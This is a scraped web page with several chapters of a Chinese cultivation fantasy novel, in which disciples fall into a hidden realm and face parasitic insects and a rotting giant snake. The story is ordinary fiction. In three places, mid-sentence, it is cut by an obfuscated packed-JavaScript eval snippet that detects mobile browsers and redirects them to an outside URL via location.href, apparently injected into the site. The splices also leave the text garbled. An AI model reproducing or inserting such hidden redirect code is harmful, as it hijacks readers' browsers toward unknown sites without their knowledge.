天际,只余下一道修长的身影。 月色长剑缓缓落于手中,小师叔行于天际,宛若踏空而行。 “瞧见了吗?”师姐的声音再度响起,似从天际而来:“这便是望月剑。” 伏令年一时静默,无法挪开视线。 脑海中依旧在回放着刚刚所见的一切。 直至重新“醒来”,伏令年依旧沉浸于剑意之中,直到身旁人的靠近。 阿九脸上还是黑乎乎的,黝黑的眸子中映照出旁侧火堆上跃动的火光。 伏令年将散落的头发重新扎起,又接了些水,轻轻给女孩擦脸。 阿九没有反抗,眼眸一眨不眨地盯着伏令年发丝上挂着的小铃铛。 小铃铛随着伏令年头部轻微的摆动也轻轻摇晃着,却奇妙的未发出任何动静。 “阿九可真喜欢你。”杜钟毓没再摆弄手中的玩意,见伏令年醒来,凑过来酸溜溜地说了一句:“我就不这么招她喜欢了。” 她刚刚实在看不过眼,也想替阿九擦擦脸,却被阿九一溜烟躲开了。 伏令年笑了一声,阿九的眼珠转了转,落到了杜钟毓脸上。 阿九眼眸黝黑,比常人眸色更深,似能汲取周遭的光亮。 杜钟毓从未见过阿九脸上露出除了“生人勿近”以外的神情。被她面无表情地盯着,顿感起了一身鸡皮疙瘩。 “咳。”杜钟毓选择转移话题:“雨好像停了。” 话应刚落,她忽感地底颤动了一下。 “嗯?” 还未等杜钟毓弄清楚这是否是她的幻觉,地面再度剧烈颤动起来。 颤动的幅度极大,面前的一切都出现了重影。 腰下一紧,杜钟毓整个人腾空而起。 她又一次被阿九扛在了肩头。 腹部一阵翻腾,刚刚吃进肚子里的馒头险些没被倒出来。 “我可以…”自己走。 这句话还未说完,一块足有脑袋大的泥块砸到了她的面前。 若不是阿九反应快,她的脑袋就已经开花了。 算了,被扛着也挺好的,如果能换个舒服点的姿势就更好了。 杜钟毓这么想着。 随着地动的持续,这个非自然形成的“洞穴”正在缓缓坍塌。 伏令年几人离洞口近,在地动开始前不足三秒,人便钻出了洞外。 外头的空气湿润,泥土青草的气味萦绕在鼻端。 光线阴暗,密林幽深亦如往日。 然而,伏令年却莫名感到一阵毛骨悚然。 有东西在窥视她。 伏令年的脑海中首先冒出了这个想法。 那不是单单一个人,而是很多道视线。 有很多东西在窥视她。 这种想让伏令年的额角都渗出了冷汗。 这并非是她第一次产生这样的感受。 但无论是多少次,她都会感到强烈的恐惧,无法抑制的恐惧。 “怎么了?” 地动还在继续,伏令年的行为停滞,立即便引起了同伴的注意。 温季才拉了伏令年一把,让她稍稍回过神来。 伏令年回头扫了一眼,他们六人都已经从洞穴中走了出来,除此之外,还有几位北境的弟子。 伏令年看了眼,其中并没有余绣。 洞口亦开始坍塌,就在此时,两道身影从洞内窜出。 是张逸辰和余绣。 余绣趴伏在张逸辰的背部,双眼紧闭,状态似乎不太对劲。 见此场景,伏令年忽地皱起眉头。 余绣的伤口已经过处理,毒素被完全清除。 作为金丹期的修士,复原能力不可小觑。按常理来说,下雨这段时间里,恢复的应当差不多了。 “虫子。”阿九忽地道。 伏令年眉头蹙得更深。 地动停息了,外头的弟子们你看看我,我看看你,都有些迷茫。 “那个,那个丹修。”有人在喊她。 伏令年循声望去,就见余绣的一位同伴正焦急地朝她招手:“余绣师姐的伤不是处理好了吗?她为何会昏睡不醒?” “是啊,她前不久还清醒着,怎么忽地又昏过去了?” 又昏过去了? 伏令年侧头,与温季才相视一眼。 此时,在场之人,只有她和温季才是“名义上的丹修”。 “我们去看看。”伏令年将衣袍还给高墨贤,难得没被他嫌弃。 “小心些。” 从承言提醒道。 刚刚遇到古怪的地动,本应恢复的余绣再度昏迷,一切都透着蹊跷。 伏令年忽地转头,对阿九道:“阿九,你把钟毓放下,随我一块来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411621|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 余绣的双眸紧闭,面色红润,并不显得苍白。光看她外表,似乎只是陷入了一场暂时的美梦。 然而,对于正常修士而言,刚刚的动静足以将她惊醒一百次。 伏令年小心地撕开余绣手臂处的纱布,预想中的狰狞伤口并未出现。余绣的肌肤光滑如新,似乎从未受过伤。 “师姐的伤好了?”有一位弟子惊喜地道,却见周遭之人无多少喜色,有些困惑地问:“这难道不好吗?你们怎么都这个表情。” 伤好了当然是一件喜事,然而,这得在一切正常的前提下。 从余绣受伤,毒素被清除,再到如今伤口全然恢复,时间不超过三个时辰。 三个时辰说短不短,但也绝不可能使余绣的伤口恢复到如今的地步。 阿九忽地俯身,扯动了一下余绣心口处的衣物。 “虫子。”她再次道。 伏令年眼眸发沉,她上前一步,想将余绣的衣袍掀开。 就在这时,地面忽地再次颤动起来。 地面的颤动比先前的任何一次都要来得剧烈,伏令年身体一晃,险些倾倒。 随着衣帛撕裂之声,伏令年终于看清了余绣被衣袍掩盖下、肌肤之上的事物。 那是一团血色、足有拳头大小的肉瘤。条条细密的血管密布于血瘤之上,随着余绣胸膛的起伏,而跳动犹如鲜活的生命体。 地面的颤动并未停止,反而有愈演愈烈的趋势。 伏令年产生了一个错觉——大地仿佛在崩裂。 不…这不是错觉。 脚下的土地猛然下陷,将余绣吞没于内。 若放任不管,余绣必死无疑。 眼见着昏迷的余绣将被完全吞没,脑海的种种考量皆被伏令年抛出,她探身,一把攥住了余绣脚腕。 然而,还未等伏令年稳住身形,大地再次震颤。 伏令年只觉脚下失去了支撑,大地的崩裂还在加剧。 以余绣为中心,大地的破碎在蔓延。 身体向下坠落,伏令年也顾不得在此时假扮丹修,转而召唤出白玉剑,想御剑而行。 然而,意外再次发生。 一股威压不知何时笼罩于四周,便如同昆仑峰山脚下的威压剑阵,使她无法御剑而行。 眼前陷入黑暗,浓重的土腥味涌入鼻腔。 天空之上,随着大地的崩裂,反应较快的剑修们都已御剑腾空而起,手上还“大包小包”地拎上不擅长御剑的其余修士。 慌乱之间,北境的剑修们看见身着丹鼎修服饰的弟子竟熟练地御剑腾空而起,怀疑地揉了揉眼睛。 “我这是中幻术了?”一位弟子喃喃道。 在这种危急时刻,眼见着伏令年和阿九坠入地下,温季才也懒得再去伪装。 一手提起裙摆,温季才将长裙撕到了方便行动的长度。 “你们北境丹鼎宗该好好跟百药谷学学,自由衣着懂不懂。”末了,他还嘟囔两句:“这长裙可真够麻烦的。” 嗓音虽算不上粗犷,但任谁听了都知晓,他是个男子。 这时,北境弟子们才后知后觉地反应过来,这几人哪里是什么同境的弟子,分明就是外头混进来的东境弟子啊! 还未等他们做出反应,却见温季才几人旁若无人地凑在一起商量了一会儿,竟也跟着落入了漆黑不见底的地底。 “他们不要命了?”有人忍不住道。 地底情况不明,进入其中必然要承当巨大的风险。 那几人自然不傻,但愿为了救人将自己置于危机之中的人本就少见,而这一见便见了六人。 弟子们停于半空,一时间群龙无首。 “张师兄呢?” 有人问。 “余师姐和那个假丹修一同掉入地底了,张师兄想去救他们……”也掉进去了。 此话一出,弟子们无言。 过了这么久,若是能御剑,他们早便出来了。 然而,至始至终,未见一道熟悉的身影。 底下必然有诈。 面对此情此景,他们不敢轻举妄动。 90. 万霭之幽(十七) 黑暗总会让人失去对时间的掌握。 不知向下坠了多久,或许是短短一瞬,又或许是数十秒,耳边再听不见修士们的呼喊声,只余下呼呼风声。 预想之中痛楚并未发生,身体仿佛被流水包裹,当眼前重获光明时,伏令年已经落入了一花丛当中。 背部花草的触感柔软,陷入其中,仿佛沉入了自然的被褥。 眼前逐渐迷蒙,伏令年忽然觉得自己应该睡上一觉。 就在眼皮即将合拢之时,悬浮于神识海中的瑶光阵眼骤然绽放出刺目的光芒。 脑海瞬间清明,伏令年挣扎着想翻身而起。 鼻尖嗅到的花香甜腻,身上不知何时已缠绕上了根根草叶,差些就能把她掩埋。 然而,还未等她站起,肩头忽地传来一阵柔和的力道,再度将她压入花丛当中。 吸入的话费吧似乎有麻痹的作用,也不知刚才的一会,她究竟吸入了多少花粉,此时竟无处使力。 伏令年睁开双眼,对上一双紫色的眼眸。 肌肤如雪,唇红齿白,容貌昳丽。 只要见过这张脸,便难以忘却。 合欢宗的并蒂圣子。 浓郁的香气扑鼻而来,伏令年脑海嗡嗡作响,心中生起强烈的危险感。 然而,她却无力反抗。 她出手去救余绣,坠入地底之前,曾想象过许多可能。 或是落入地底身受重伤,或是寻到出路柳暗花明。但无论是何种坏的结果,伏令年也不曾想过自己会遇上合欢宗并蒂圣子。 虽不知道对方的修为,但仅是对方的名号,伏令年便不会天真地以为对方是什么良善之辈。 “你…”伏令年有些艰难地张嘴。 “嘘。”一根食指轻轻按在伏令年的唇上,痒痒的,有些发麻。 “睡一觉吧,然后,忘记……”后面的话语,伏令年听不清了。 吸入过量花粉的她在逐渐丧失力气,挣扎的动作也越来越微弱,最后只勉强晃动了一下脑袋。 “叮铃。” …… 伏令年睁开眼睛。 脑袋昏昏沉沉的,一片空白。 反应了好一会,她才回想起究竟发生了什么。 大地崩裂,为了抓住即将掉入地底的余绣,她也不幸跟着掉入了地底。 紧接着,便失去了意识。 面前有人影晃动,伏令年忽地听见阿九的声音:“走开…别…靠近!” 很少听她连续说这么多的话。 撑着身坐起,伏令年脑袋还有些发昏。 面前是阿九的背影,与阿九对峙之人,身着万剑宗的服饰,正是张逸辰。 他也掉下来了。 侧头看向旁侧,余绣躺离她不远处,依旧在昏迷。 裸露的肌肤处,可见血瘤轻轻颤动。 想来,张逸辰应当也是为了救人而来。 伏令年拉了拉阿九的衣角。 “没事的。”她安抚明显处于紧绷状态下的阿九。 阿九回过神,黑眸扫过伏令年的面庞。 她忽地伸手摸了一下伏令年的面颊,就像伏令年平时给她擦脸一样。 伏令年愣了一下:“我脸上脏了吗?” “脏…”阿九重复道。 她摊开手,让伏令年看她指尖沾染上的淡粉色事物。 这是什么? 伏令年有些迷茫。 看着,有些像化妆用的胭脂。 而她自从穿越到这个世界,就再也没碰过“化妆品”。 阿九显然也不清楚这是什么,她没再理会,而是好奇地抚了抚伏令年发丝上的银铃。 “虫子。”阿九又道。 虫子? 对了。 还有最重要的事情没办呢。 伏令年靠近余绣,本想从储物空间中取出切割用的短匕首,却惊讶地发觉储物空间无法开启。 似乎有一层无形的禁制将储物空间与现实的连接封锁了。 伏令年顿时皱起了眉头。 “是迷境。”不再被阿九拦着,张逸辰走近余绣身旁,似乎对此有所预料。 “迷境?”伏令年重复了一句。 她知道这迷境是何物,却从未亲身经历过。 用简单的比喻来讲,秘境和迷境之间的关系就像是一个一个套娃,大套娃之下,还有一个一个小套娃——也就是迷境。 相比与外界隔绝的秘境,迷境更加特殊诡异。 就像如今,身处迷境之中的他们无法自如使用储物空间。 据记载,许多迷境还能隔绝身份铭牌向外传递画面。 也就是说,处在迷境当中,外界极有可能便无法再借助身份铭牌查看弟子的状况。 这下就难办了。 伏令年炼丹所需的全部材料和工具都储存在储物空间中。 储物空间不能使用,她便是手无寸铁,更别提医治疑似被蛊虫寄生的余绣。 就不知随着时间流逝,蛊虫会不会发生更加可怖的变化。 待到那时,便是神仙来了也无力回天了。 伏令年面上没什么表情,神识却在翻阅着神识海中的《蛊术入门》。 利用神识阅读与肉眼阅读不同,尤其是现如今,伏令年的神识已有了翻天覆地的变化。 利用神识,她能够真正做到一目十行,甚至一目百行。 然而,蛊虫的种类实在太多,光是一本蛊术入门并不能完全涵盖。伏令年不敢仅靠纸上谈兵。 如此,她只能选择“保守”治疗。 封住余绣的经脉,阻止蛊虫更进一步寄生。 余绣昏迷不醒,需要外人持续性输入灵力形成屏障。 这个重任自然而然地交由张逸辰所做。 他背着昏迷的余绣,与伏令年几人一同寻找出路。 无论如何,都得先行离开迷境。 迷境比秘境更为诡异多变,稍有不慎,便可能折在里头。 迷境之外。 四境队伍已越来越近,近乎是北境处发生地动的同时,其余四境亦出现了相同的状况。 大地撕裂,天地变色。 恰好由于暴雨,弟子们分隔几处,被这突如其来的变故打了一个措不及防。 不少弟子掉入地底,失去了踪迹。 迷境危险重重,收获亦丰厚。 但凡有些野心的宗门,都会尝试进入迷境。 “看来,他们将会在迷境内相遇。”秘境之外,断岳殿殿主武丹卿看着陆续进入秘境的各境弟子,微微颔首。 部分画面闪烁着,继而消失在众人眼前。 迷境能够阻挡外界的窥探,因而,外面众人能做的便只有等待。 “可惜。”合欢宗宗主娄烨笑眯眯地道:“还以为能见到两境相遇呢。” 东境和北境距离最近,最有可能首个相遇。 与大会初始不同,各境已逐渐深入迷境,若正面相遇,为了争夺资源,必有一战。 两境间的争斗一向是其余境喜闻乐见的。 …… 安静。 非常的安静。 只有伏令年三人轻微的脚步声。 他们看见了一片平静的湖泊。 草叶茂盛,绿柳垂于水面。 湖泊清澈见底,面如明境。 此处无法御剑飞行,他们只能走远路绕过湖泊,或是直接凫水。 伏令年缓步走着,目光在前方水面上流转,心下有些说不上的古怪。 阿九跟在伏令年身旁,张逸辰走在最后,三人始终无言。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14463870|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又走了一段路,伏令年脚步渐缓,停在了湖泊旁。 “怎么了?”张逸辰察觉到伏令年的动作,亦停了下来。 伏令年指了指湖泊。 张逸辰顺着她视线看过去。 清澈平静的湖泊。 “这是一潭死水。”张逸辰道。 按理来说,死水浑浊,难以保持清澈。 这确实有些奇怪,不过这里是迷境,或许过不多久,环境便会改变。 如此一来,也不显得奇怪。 张逸辰权当是伏令年缺少经验。 伏令年摇了摇头。 这不是重点。 她声音很轻,像是怕惊扰了什么人的美梦。 “没有影子。” 此话一出,张逸辰脸色微变。 他并不愚蠢,作为剑修,对于危险极其敏锐。 他此时也明白了伏令年话中的含义。 这片湖泊,映照不出任何的东西! 这很不正常… 除非——这根本不是什么湖泊。 张逸辰身体有些僵硬。 几人的目光落在水面上,一时间谁都没有动作。 突然,平静的湖面微微荡漾了一下。 若非伏令年聚精会神地细瞧,恐怕会以为那只是微风吹动湖面所产生的小小波澜。 然而,这里没有风。 伏令年亦看得真切。 平静的“湖泊”突然撕开了一道小口,几条触须似的白色事物向外探出,又迅速收回。 伏令年还看见,那触须的顶部裂开一道小口。其中,数不清的细丝舞动着,狰狞可怖。 两人相识一眼,伏令年拽着阿九,张逸辰背着余绣,齐齐向后退去。 只要不发出响动,绕开…就可以… “噗通。” 一块泥石从天而降,落入“湖泊”当中。 没有水花溅出,泥石甫一接触水面,便如同泥牛入海,被无声地吞没。 “方向错了!下面是水!” 熟悉的声响从上方传开。 伏令年眼皮抽了抽,她没有向上看去,而是紧紧盯着看似平静的“湖面”。 泥石落入其中,仿佛热油如锅。 原本平静的湖面骤然以泥石的落点为中心,向外炸开。 无数条触须撕裂“湖面”,从中探出。 它们交缠着,蠕动着,奔涌着,以极为可怖的速度席卷着四周的一切。 伏令年不再犹豫,拔腿就跑。 “二丫!阿九!”上头的人在喊她们的名字。 阴影随之笼罩。 伏令年抬手,攥住了从天而降的白色绳索。 身体随之腾空。 绳索随之收缩,伏令年终于看清了上方事物的全貌。 这是一架……大型的纸飞机? 回过神来时,伏令年已经坐在了纸飞机上,俯瞰下方暴动的“湖面”。 “温季才,再飞高些!”下方的土地已然被伪装成湖水的触须们吞没,高墨贤面色难看。 “人太多了。”温季才从下方探出脑袋,一脸菜色。 “你们还能动用法器?”张逸辰也被带到了纸飞机上,有些讶异。 在迷境之中,法器的使用也受到诸多限制。 杜钟毓没回答,却问了个莫名的问题:“你是什么灵根?” “风火双灵根。” “那正好。”杜钟毓眼睛一亮,伸手指着一个方向:“你在那边扇风。” 扇风? 张逸辰彻底陷入了困惑当中。 伏令年却是搞懂了。 法器受限制无法自如使用,他们却可以同通过改变气流使纸飞机在空中滑翔。 这很不修仙,但出乎意料的科学。 91. 万霭之幽(十八) 就这样,张·北境剑修·逸辰就这么莫名其妙地上了“贼船”,又莫名其妙的给这群东境的修士们贡献了人力资源。 不过,以他的认人能力,恐怕只能认得伏令年他们身上的衣着服饰。 “这…”伏令年斟酌着措辞:“纸飞机,是你做的?” “纸飞机…?”杜钟毓重复念叨了一遍这个奇怪的词语:“你是说这只纸鸢吗?” 见伏令年点头,她有些小得意地道:“这是我先前琢磨着做出来的法器,还是半成品,没曾想在这里派上了用场。” 说罢,她眨巴眨巴眼睛,好像在期待着什么。 伏令年如她所愿地竖起了大拇指,并进行了一大段不重样的夸奖,把她说得眉开眼笑。 不需要问,伏令年也能猜到他们为何会出现在此处,心中有股暖意在升腾。 高墨贤坐在不远处,一直皱着眉头。 伏令年凑过去,瞥了一眼下方,他们已经离开了那片“湖面”,周遭再度恢复了平静。 高墨贤的洁癖也太严重了些,若不是不允许,他恐怕在进入秘境中的第三天便叫嚷着要离开了。 这么想着,伏令年却见高墨贤嫌弃的眼神落到了伏令年身上。 伏令年:? 她检查了一下衣服,掉下来时摔到地上,弄脏无可避免。衣袍上还沾着泥土草叶,但也不至于这么嫌弃她吧。 “你身上很香。”高墨贤道。 配上他的表情,显然并不是在夸赞。 “南境特产的香粉,比先前的还难闻。”高墨贤这么评价道。 “先前的?”伏令年没能理解。 高墨贤也有些困惑:“你们自从去过长乐坊后,身上便带着些香粉的气味。我还以为…” 有了张逸辰接替,温季才总算有了缓口气的时间。 他从纸鸢底下爬了上来,收起了那条白色的绳索。 ——这正是先前用蜘蛛丝炼制的法器,柔韧性强,可自如转换多种形态。 和飞行类法器不同,它依旧可以自如使用。 听了高墨贤的话,两人都愣了愣,相视一眼。 脑海中不由浮现两道相似的身影。 …… 东境队伍。 主力队伍选择带领一小部分弟子进入迷境。 与伏令年这群初出茅庐的菜鸟不同,他们对迷境有所了解,早早便取出了需要使用的物品。 另一部分弟子由留下的元婴期修士带领着,在附近驻扎,等待他们的回归。 若是伏令年几人与他们同行,便会知道,迷境之中并非无法御剑飞行——更准确来说,是低于元婴期修为的修士无法自如飞行。 在几位元婴期修士的协助下,一行人顺利落入迷境之中。 迷境内安静得可怕,像是暴风雨来临前的平静。 他们自然并非摸瞎行走,而是在星机阁修士的卜术引导下,朝着一个方向前行。 卜术指示他们,那个方向有他们所需的事物——可能是妖兽,亦可能是法器或者别的什么宝藏。 然后,他们遇见了北境的小队。 ……好吧,从某种意义上来说,他们身上确实有他们所需的事物。 毕竟行走在外,哪个境身上不得带些法器。 “你们先行?”星机阁的元婴期修士笑眯眯地道。 迷境之中相遇,又与外界不同。两方相斗,稍有不慎便可能引起迷境之内变动。 这不仅是鹬蚌相争渔翁得利,弄不好,结局便是无一人得利。 两方分开行动,便是最好的处理方法。 然而,让人意外的是,除去领头的高挑少女面无表情,其余北境修士的脸色都有些古怪。 他们莫不是想现在便动手? 孟如烟蹙眉,在心中想着。 这时,忽听北境的一名弟子斥道:“你们很得意吧?” 东境修士们:? “拿走的东西,终归是要还回来的。” 东境修士们:?? 东境的沉默不语,是困惑和不解。可在北境修士们眼中,这分明便是心虚和默认! 云鹤生仔细打量着面前所有东境修士的面孔,依他所想,敢于在他们眼皮子底下将所有灵犀果带走的修士,不是主力队员,也应当是对自身实力十分自信的。 再加之他们久寻不到伏令年一行人的身影,更是这个推论深信不疑。 于是,事情在北境弟子群里中便从——一群携带了灵犀果的东境弟子在云鹤生眼皮子底下逃走了,变成了东境派了一群狡猾如狐的弟子将北境地盘内的灵犀果带走了! 最重要的是——他们找了这么久,却连那几个弟子的影都没捞着。 还是在外界众人的注视下。 简直是颜面尽失! 东境修士们哪知道北境修士们脑子里脑补了些什么,不明所以之外,还有些恼怒。 他们承认北境实力的确不容小觑,可他们东境也不是任人捏揉的面饼。如此无厘头又明晃晃的挑衅,士可忍孰不可忍! 于是,东境的修士们眼中也冒出了危险的火焰,两境之前的气氛顿时变得僵硬。 “你们是想要在此处动手吗?”星机阁的元婴期修士的笑容变浅:“我们从未拿过你们北境的什么东西。” 领头女子瞥了眼云鹤生,他腰背不由得挺直,道:“就是他们东境弟子的服饰,我记得很清楚!” 星机阁弟子的眉头挑了挑,觉得这简直不可理喻:“我们弟子的服饰?你们的东西?” 更何况,到底是什么东西让北境宝贝成这样!他们真的是什么都不知道啊。 领头女子点了点头,清冷的眉目扫过在场的东境弟子:“东西交出来,亦或者……人留下。” 此言一出,孤傲之意毕露。 随之而来的,是灵力外放所造的威压。 饶是认为此时不宜动武的东境修士们亦是被这一番话所激怒。 无论事实如何,北境的修士都太过狂傲。明摆着不将他们放在眼中。 然而,就在这千钧一发之际,大地突然开始摇晃。 这种感觉何其熟悉,在迷境出现之前,也曾经有过。 众人的注意力立即被转移。 伴随着如同生锈金铁摩擦墙面的刺耳声响,大地再度开裂。 沙尘翻涌,迷蒙了修士们的双眼。 恶臭的腥气从地底涌出,充斥了这一方区域。 “有妖兽!”不知是哪边的修士大喊着。 法器光芒闪动,将己方的修士纳入其中。 灵力汇聚至双眼,修士们纷纷看向浓烟之中。 一道巨型阴影处于其中,还在不断扩大。 待浓烟散去,众人看见了那造成地动的生物。 那是一条巨蛇…或者说,它曾经应当是一条巨蛇。 它的身躯庞大,头颅之下连接着长长的躯体,原本应是光滑坚硬的鳞片已变得斑驳陆离,大片大片地脱落,裸露出下方不知被何物侵蚀得千疮百孔的肌肉组织。 从表皮的破口处往里望,可见它的肌肉与骨骼几乎消失殆尽。只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489476|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下几根粗壮的脊椎骨,孤零零地支撑着残破的身躯。不知名的植株盘绕于上,将死亡与新生以一种扭曲的方式交织在一起。 细看,这巨物的头颅之上只剩下一对空洞的眼窝,没有丝毫光亮,死气沉沉。 任何一个人见此,都不会认为它是一个活物。 然而,它却动了。 随着它身躯的移动,大地震颤得更加剧烈。黏液从破口处流淌而出,散发出令人作呕的浓郁腥臭味。 这样诡异的景象让在场众人多少都生出了胆寒之感。 遇上强大的妖兽,他们将迎难而上。 可这样一个怪物,还能称之为妖兽吗? 这让他们不由得联想起先前发生了死去妖兽“复活”一事。 一时间,众人不敢轻举妄动。 “你们瞧它的眼睛。”这时,星机阁的元婴期修士压低声音道。 孟如烟随着对方的话语望去。 巨蛇的一侧,原本应该是眼瞳的地方空无一物,光芒黯淡。 “看另一侧。”修士提醒道。 这回,孟如烟看见了。 透过空洞的眼窝,孟如烟看见了巨蛇头颅内的事物。 它极不起眼,外表也黑黢黢一片。 可留心看去,却会发现它不时闪动出彩色的华光。 ——那是元婴期妖兽的晶核! 地动还在持续,巨蛇也在缓缓往外爬动。 它行动迟缓,似老人迟暮。 就在东境的几位剑修决定出手之时,却有人先行一步。 身影浮光掠影,瞬时便逼近了巨蛇身下。 平地霎时有惊雷炸响,天地以剑为通路,连接成一片。 一剑斩出,撕裂空间。 她的速度太快,行动太果决。 在其余修士未反应过来之际,剑刃携着雷光,已斩至巨蛇的三寸之处。 孟如烟此时就是想出手争夺,也是来不及。 “晏扶摇。”她轻轻念出了那人的名字。 此剑一出,果真是名不虚传。 巨蛇的脖颈本就不余多少皮肉,在这摧枯拉朽的一剑中,毫无意外地四散断裂。 电火花以接触点为中心,四下扩散,噼里啪啦的声响不绝于耳。 就在众人以为大势已去时,变故再生。 失去头颅的巨蛇并未就此倒下。 它的身躯依旧矗立着,巨尾如鬼魅般闪至晏扶摇身后。 晏扶摇眉毛轻微动了动,面上的神色近乎没有变化。 她手腕一抖,刹那间斩出数百剑,将巨蛇的身躯尽数斩断。 “不对劲。”星机阁元婴期修士眉头紧蹙。 晏扶摇的实力毋庸置疑,但她再强,也还是一个未到元婴大圆满修为的修士。 元婴期的妖兽在她攻击之下四分五裂,毫无还手之力,这显然很不对劲。 “往后退。”许子迁下令道。 他一向沉默寡言,却是队伍实打实的领头者。 还未等他们退到安全的距离,巨蛇的身躯已轰然倒下。 但这不是结束,而是一切的开始。 修士们惊惧地看见,巨蛇破碎的身躯之下,一条条触须“破土而出”。 它们分食着巨蛇最后的血肉,向外茁壮地成长。 触须连接着的,是虫子般的躯壳。 数不清异虫自巨蛇体内涌出,不断向外扩散。 它们似乎正在寻找自己的下一个宿主。 而那巨蛇的头颅以及其内的晶核,已不知所踪。 92. 万霭之幽(十九) “你确定是这个方向?” “千真万确。”杜钟毓摆弄着所谓的“寻宝罗盘”,自信道。 自从收到伏令年一行人支持的信号后,杜钟毓便变成了疯狂的制造机,不断将她以前的各种奇思妙想行于实践。 “寻宝罗盘”正是她发明之一。 风在温季才和张逸辰的推动下转变方向,使其翱翔于高空。 风刮过鼻端,伏令年在空气中嗅到了一丝不同寻常的气味。 浓重的、腥臭的、危险的。 “虫子。”身旁的阿九轻声道。 自打进入秘境以来,阿九便多次发出类似的“预警”。 伏令年突然觉得的颈后有些发痒,如有蚁虫爬咬。 她伸手抚过,发现那只是一截碎发。 错觉吗? 跟随着“寻宝罗盘”的指引,纸鸢越前向行,那股危险的气味便愈加浓烈。 阿九似乎也因此而变得急躁不安,恍惚间,伏令年还以为回到了与她初见的那一回。 ——刚刚砍倒一片密林而出,满身戾气的阿九。 伏令年轻轻拍打阿九的肩膀,想让她放松些。 “有东西!” 从承言忽地站起,赤霄剑瞬时出现于身前。 下一刻,便见一团黑影如陨石般携着强劲的力道从远处飞驰而来。 于此同时,温季才的惊叫声也自下方传来。 “你们瞧,下面有人!” 有从承言在,伏令年不担心天外来物砸在纸鸢上。 她顺着温季才的话语,俯身向下方看去。 远处,道道惊雷于大地连成一片。 电闪雷鸣之中,人影闪动。 伏令年惊讶地看见了熟悉的东境弟子。 他们似乎正在被什么无形的事物追逐着,不断往远处退却。 随着距离的拉进,视线下移,伏令年终于看清了—— 在他们身后,一只只形状诡异的异虫伸展着细长柔软的肢体,如流水般席卷着这片土地。 所过之处,寸草不生,一片荒芜。 伏令年不敢多瞧那满地密密麻麻的异虫,她抬起头,搓了搓发冷的掌心,望向从承言。 那天外来物被从承言所阻碍,最终嵌在了赤霄剑身上。 从承言不由得皱起了眉。 以赤霄剑之锋锐,即使没有用尽全力,也不应该斩不断这看上去尘封已久的骨架。 没错,这是一具骨架,一具破损的骨架。 足有一人之高,像是什么生物头颅的一部分。 从承言一剑正好从它的眼窝刺入,正巧卡在其中。 伏令年看着这未知生物的头颅,莫名觉得有些眼熟。 她靠近这骨架,透过空洞的眼窝往里望。 那卡住赤霄剑的事物很不起眼,像是块灰扑扑的大石头。 伏令年的眉头越簇越深,即视感愈加强烈。 就在此时,从承言忽地发出痛哼,指尖一抖,赤霄剑竟险些脱手。 灰扑扑的大石头上光华流转,下一刻,在场的几人都感觉到了一股无法言喻的威压。 伏令年和从承言离得最近,两人膝窝一弯,险些直接跪倒。 心脏骤然收紧,五脏六腑似乎都要在这威压下碎裂。 于此同时,伏令年脑海中闪现出了一副画面。 那是在吊坠世界中,她透过留影石所看到的画面。 元婴期的巴鳞蛇在东境修士们的围攻下,最终被斩杀。 她突然明白了那种即视感从何而来。 面前的骨架,与巴鳞蛇那巨大的头颅何其相似。 它没了皮肉,曾经巨大的眼瞳也化为了枯荣,死气沉沉。 然而,伏令年的神识却在告诉她,这就是巴鳞蛇! 如此可怖的威压,必然也是元婴期以上的威压。 脑海乱糟糟的,待反应过来时,纸鸢已经往下坠落了十来米。 温季才和张逸辰也受到了不小的影响,短暂失去了意识。若不是身上捆着蛛丝绳,恐怕会跌落下去。 下方已经被数不清的异虫占据,如此近的距离下,伏令年几乎能看清它们每一根蠕动的触须。 威压的出现只是一瞬,随即,一切归于平静。 可也只是这一瞬,却险些让伏令年一行人“鸢毁人亡”。 阿九受到的影响最小,伏令年和从承言近乎先后清醒过来。 指尖光华流转,伏令年唤出白玉剑,与从承言一齐震碎了巴鳞蛇的头颅残骸。 不起眼的石头落于纸鸢之上,灰扑扑的表皮近乎没有变化。 阿九则将修为略逊一筹的杜钟毓和高墨贤拽到纸鸢中心,以免两人掉下纸鸢。 在纸鸢即将跌入虫群中前,温季才和张逸辰总算恢复过来,奋力操纵纸鸢向上方飞行。 “这是晶核吗?”刚刚的威压让杜钟毓心有余悸,有些呆愣地问道。 这话伏令年几人也无法回答,毕竟他们谁也没有真正见过元婴期妖兽的晶核。 伏令年试着用四境大会的身份铭牌去收取这石头,却失败了。 “下面的虫子在追我们。”这时,高墨贤突然道。 伏令年探头去瞧,果然,原本还漫无目的往外蔓延的异虫们似乎发现了飞行于天际的猎物,竟循着他们的轨迹追逐而来。 